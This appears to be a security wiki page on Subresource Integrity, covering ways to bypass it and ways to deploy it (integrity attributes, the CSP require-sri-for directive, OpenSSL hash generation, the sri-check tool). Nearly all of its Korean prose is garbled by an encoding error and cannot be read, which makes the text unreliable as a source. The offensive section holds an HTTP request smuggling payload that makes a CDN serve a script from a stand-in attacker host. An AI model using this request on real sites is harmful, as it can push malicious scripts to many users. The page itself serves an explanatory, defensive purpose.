SRI (Subresource Integrity)

SRI (Subresource Integrity)

๐Ÿ” Introduction

SRI(Subresource Integrity)๋Š” JS,CSS ๋“ฑ์˜ ๋ฆฌ์†Œ์Šค์˜ ๋ฌด๊ฒฐ์„ฑ์„ ๊ฒ€์‚ฌํ•˜๋Š” ๋ฐฉ๋ฒ•์œผ๋กœ CDN๊ณผ ๊ฐ™์€ 3rd Party์—์„œ์˜ ๋ณด์•ˆ ์‚ฌ๊ณ  ์‹œ ์„œ๋น„์Šค๋ฅผ ์ง€ํ‚ค๊ธฐ ์œ„ํ•œ ๋ณด์•ˆ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค.

SRI ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ์— ์‚ฌ์šฉ๋˜๋Š” ๊ฐ’์€ Base64๋กœ ์ธ์ฝ”๋”ฉ๋œ cryptographic hash๋กœ 3rd Party์—์„  ๋ฆฌ์†Œ์Šค์˜ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•ด hashํ•œ ํ›„ ์ด๋ฅผ ์ œ๊ณตํ•˜๊ณ , ์„œ๋น„์Šค ํŽ˜์ด์ง€์—์„œ script, link ํƒœ๊ทธ ๋“ฑ์œผ๋กœ SRI ์‚ฌ์šฉ ์‹œ ๋ธŒ๋ผ์šฐ์ €๋Š” cryptographic hash ๊ฐ’๊ณผ ์›๋ณธ์ด ๋™์ผํ•œ์ง€ ์ฒดํฌํ•˜์—ฌ ๋ณ€์กฐ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

<script src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js" 
		integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" 
		crossorigin="anonymous">
</script>

๐Ÿ—ก Offensive techniques

Bypass SRI

Browser Vulnerability

SRI๊ฐ€ ์ ์šฉ๋œ ํƒœ๊ทธ์˜ ๊ฒฝ์šฐ 3rd Party๊ฐ€ ํ•ดํ‚น๋˜๋”๋ผ๋„ ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋น„์Šค ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ๋กœ๋“œ๋˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์šฐํšŒํ•˜๋Š” ๊ฒฝ์šฐ๋Š” Browser ์ž์ฒด์˜ ์ทจ์•ฝ์ ์ด ๋Œ€๋ถ€๋ถ„์ž…๋‹ˆ๋‹ค.

Dynamic SRI

ํŽธ์˜์„ฑ์„ ์œ„ํ•ด SRI ๊ฐ’์„ ๋™์ ์œผ๋กœ ํ• ๋‹นํ•˜๋Š” ๊ฒฝ์šฐ ์šฐํšŒ์˜ ์—ฌ์ง€๊ฐ€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์„ ์œ„ํ•ด ๋‹ค๋งŒ 3rd Party์™€ ์„œ๋น„์Šค์— ๋™์‹œ์— ๊ณต๊ฒฉ์ด ์ผ์–ด๋‚˜์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์ž ์ž…์žฅ์—์„  ๊ณต๊ฒฉ ๋น„์šฉ์ด ์กฐ๊ธˆ ๋†’์Šต๋‹ˆ๋‹ค.

With HRS

HRS(HTTP Request Smuggling)์€ ๊ธ€๋กœ๋ฒŒํ•œ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์ƒ์œผ๋กœํ•œ Desync attack์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ ์„œ๋น„์Šค ๋˜๋Š” 3rd Party ๋„๋ฉ”์ธ์—์„œ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „๋‹ฌ๋  Response๋ฅผ ๊ด‘๋ฒ”์œ„ํ•˜๊ฒŒ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์ด ์„œ๋น„์Šค์— ์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ SRI๋ฅผ ๋ฌด๋ ฅํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

POST /dist/jquery.min.js HTTP/1.1
Host: cdn.vulnerable-website.com
Content-Length: 50
Transfer-Encoding: chunked

0
GET /jquery.js HTTP/1.1
Host: attacker-cdn.com

HRS ๊ณต๊ฒฉ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ Cullinan > HRS ๊ธ€์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

๐Ÿ›ก Defensive techniques

Using SRI

SRI ์ ์šฉ์„ ์œ„ํ•ด์„  3rd Party ๋„๋ฉ”์ธ์—์„œ CORS๋ฅผ ์ง€์›ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๋ชจ๋“  CDN ์„œ๋น„์Šค์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€ ์•„๋‹ˆ๊ณ  ํ•ด๋‹น ์„œ๋น„์Šค์—์„œ ๊ธฐ๋Šฅ์ ์œผ๋กœ ์ œ๊ณต๋˜์–ด์•ผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<script src="https://cdn.jsdelivr.net/npm/jquery@3.6.0/dist/jquery.min.js" 
		integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" 
		crossorigin="anonymous">
</script>

jsdelivr, cdnjs ๋“ฑ ๋Œ€ํ‘œ์ ์ธ CDN ์„œ๋น„์Šค์—์„  File์— ๋Œ€ํ•œ URL ๋˜๋Š” HTML์„ ๋ณต์‚ฌํ•  ๋•Œ SRI๋ฅผ ํฌํ•จํ•˜์—ฌ ๋ณต์‚ฌํ•  ์ˆ˜ ์žˆ๋„๋ก ์ œ๊ณตํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

jsdelivr

cdnjs

With CSP

CSP์—์„  SRI ๊ฒ€์‚ฌ๋ฅผ ์‚ฌ์šฉํ•  ํŒŒ์ผ ์œ ํ˜•์„ ์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

// Only Style
Content-Security-Policy: require-sri-for style;

// Only Javascript
Content-Security-Policy: require-sri-for script;

// Both
Content-Security-Policy: require-sri-for script style;

Serve SRI hash

With OpenSSL

SRI๋Š” Hash ์ด๊ธฐ ๋•Œ๋ฌธ์— OpenSSL๋กœ ์‰ฝ๊ฒŒ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. sha384 ๋“ฑ์œผ๋กœ Hash ์ƒ์„ฑ ํ›„ Base64 ์ธ์ฝ”๋”ฉํ•˜์—ฌ ์ œ๊ณตํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

cat yourapp.js | openssl dgst -sha384 -binary | openssl base64 -A

๋‹จ ๋ธŒ๋ผ์šฐ์ €์—์„œ SRI ์ ์šฉ ์‹œ ์›๋ณธ ๊ฐ’๊ณผ ๋งž๋Š”์ง€ ์ฒดํฌํ•˜๊ธฐ ์œ„ํ•ด ์„œ๋ฒ„์— ์ ‘๊ทผํ•˜๊ณ  ๊ฒฐ๊ณผ๋ฅผ ๊ฐ€์ ธ์™€์•ผ ํ•˜๊ณ , ๋‹น์—ฐํžˆ ๋ธŒ๋ผ์šฐ์ €์˜ SOP ์ •์ฑ…์— ์˜ํ–ฅ์„ ๋ฐ›๊ธฐ ๋–„๋ฌธ์— CORS๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ์„œ๋ฒ„๋Š” SRI ์ œ๊ณต์„ ์œ„ํ•ด ACAO ํ—ค๋”๋ฅผ Wildcard๋กœ ์ „๋‹ฌํ•ด์ค˜์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Access-Control-Allow-Origin: *

Wildcard ACAO์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์•„๋ž˜ ๊ธ€์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

https://www.hahwul.com/2019/04/10/why-failed-get-data-with-this-cors-policy/

With SRI Cheker

git clone https://github.com/4armed/sri-check
cd sri-check
pip3 install -r requirements.txt
./sri-check <URL> -g

e.g

Supportd CDN

์ด์™ธ์—๋„ ๋งŽ์€ CDN ์„œ๋น„์Šค๋“ค์ด SRI๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ“Œ References